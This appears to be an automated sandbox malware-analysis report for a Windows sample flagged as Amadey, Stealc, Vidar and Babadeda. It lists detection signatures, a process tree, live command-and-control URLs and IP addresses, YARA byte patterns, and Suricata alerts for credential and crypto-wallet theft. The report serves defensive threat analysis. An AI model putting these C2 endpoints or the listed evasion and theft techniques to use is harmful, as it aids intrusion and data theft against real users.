Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1482894
MD5:	d3ce34e9bb2a33ab3d637e75af2a8bb8
SHA1:	6c309255f2e701f8325c0ba2eba8fe270c32e44a
SHA256:	8c207b724ee5d0febaa25aadf3861b31e3740412da99dfd53e5518db47082312
Tags:	exe
Infos:

Detection

Amadey, Babadeda, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Babadeda

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2036 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D3CE34E9BB2A33AB3D637E75AF2A8BB8)

cmd.exe (PID: 6920 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingBKJEGDGIJE.exe (PID: 2276 cmdline: "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe" MD5: 2EA7CDF07B824194AB50F5C5B1E61F16)

axplong.exe (PID: 4876 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: 2EA7CDF07B824194AB50F5C5B1E61F16)

cmd.exe (PID: 4952 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingIJEGDBGDBF.exe (PID: 2864 cmdline: "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe" MD5: 206643B224AE6BBD3DF9D3CA393B9E80)

explorti.exe (PID: 7292 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 206643B224AE6BBD3DF9D3CA393B9E80)

WerFault.exe (PID: 6072 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 2456 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorti.exe (PID: 7300 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 206643B224AE6BBD3DF9D3CA393B9E80)

explorti.exe (PID: 7716 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 206643B224AE6BBD3DF9D3CA393B9E80)

7ca32398cd.exe (PID: 8012 cmdline: "C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe" MD5: D3CE34E9BB2A33AB3D637E75AF2A8BB8)

WerFault.exe (PID: 8112 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8012 -s 1056 MD5: C31336C1EFC2CCB44B4326EA793040F2)

5aa32fec17.exe (PID: 8140 cmdline: "C:\Users\user\1000003002\5aa32fec17.exe" MD5: 4D62ACEDF9A28EC051FF554A996BAD98)

cmd.exe (PID: 8184 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat C:\Users\user\1000003002\5aa32fec17.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 4420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,2461605866906430469,16426006232859990592,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7104 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,12986128645903836916,990054772978296775,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

firefox.exe (PID: 6992 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

axplong.exe (PID: 7724 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 2EA7CDF07B824194AB50F5C5B1E61F16)

firefox.exe (PID: 2812 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3132 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3328 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2356 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54a18292-6da0-4808-9925-4c7144e972d8} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169b956bf10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 9060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4380 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4124 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d4885320-d06e-4770-870c-611d160c432d} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169cbbee210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

msedge.exe (PID: 1952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4560 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7216 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5732 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7368 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8664 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8796 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

7ca32398cd.exe (PID: 1336 cmdline: "C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe" MD5: D3CE34E9BB2A33AB3D637E75AF2A8BB8)

WerFault.exe (PID: 8424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 1328 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus users.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.31silence"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\1000003002\5aa32fec17.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000025.00000002.3001198301.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000025.00000002.3000226741.00000000025A0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1400:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2400576225.00000000024ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1598:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.2766827363.0000000000821000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2400608729.0000000002507000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2835940724.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000014.00000002.2836488033.000000000267E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10a8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000003.2365017616.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2373501686.00000000002A1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2836612791.0000000002698000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2451973039.0000000000061000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2379252513.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2737331224.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2451358988.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2401105762.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000003.2726323030.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2491687101.0000000000C01000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2450117258.0000000004910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2492594050.0000000000C01000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2332541426.0000000004880000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2036	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2036	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2036	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7ca32398cd.exe PID: 8012	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7ca32398cd.exe PID: 8012	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7ca32398cd.exe PID: 1336	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7ca32398cd.exe PID: 1336	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author
23.0.5aa32fec17.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
23.2.5aa32fec17.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
6.2.RoamingBKJEGDGIJE.exe.2a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.explorti.exe.c00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.explorti.exe.c00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.axplong.exe.820000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.RoamingIJEGDBGDBF.exe.60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7716, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7ca32398cd.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 2036, TargetFilename: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7716, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7ca32398cd.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:36:28.945163+0200
SID:	2856147
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:15.997410+0200
SID:	2856147
Source Port:	49689
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:45:04.139878+0200
SID:	2856147
Source Port:	54107
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:53.597971+0200
SID:	2856147
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:35.969873+0200
SID:	2856147
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:33.401016+0200
SID:	2856147
Source Port:	59070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:43:45.373991+0200
SID:	2856147
Source Port:	50201
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:41:35.531310+0200
SID:	2856147
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:14.449386+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:41.406472+0200
SID:	2856147
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:13.707636+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:38:33.839160+0200
SID:	2856147
Source Port:	58917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:18.545943+0200
SID:	2856147
Source Port:	49695
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:06.185006+0200
SID:	2044244
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:51.934379+0200
SID:	2856147
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:43:09.755442+0200
SID:	2856147
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:43:11.478970+0200
SID:	2856147
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:16.604259+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:37:09.228419+0200
SID:	2803305
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:39:22.451400+0200
SID:	2856147
Source Port:	59042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:42:18.976096+0200
SID:	2856147
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 185.215.113.16 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:37:06.465314+0200
SID:	2009080
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:45:09.280180+0200
SID:	2856147
Source Port:	54120
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:49.858025+0200
SID:	2856147
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:42:08.724565+0200
SID:	2856147
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:44:37.882115+0200
SID:	2856147
Source Port:	54048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

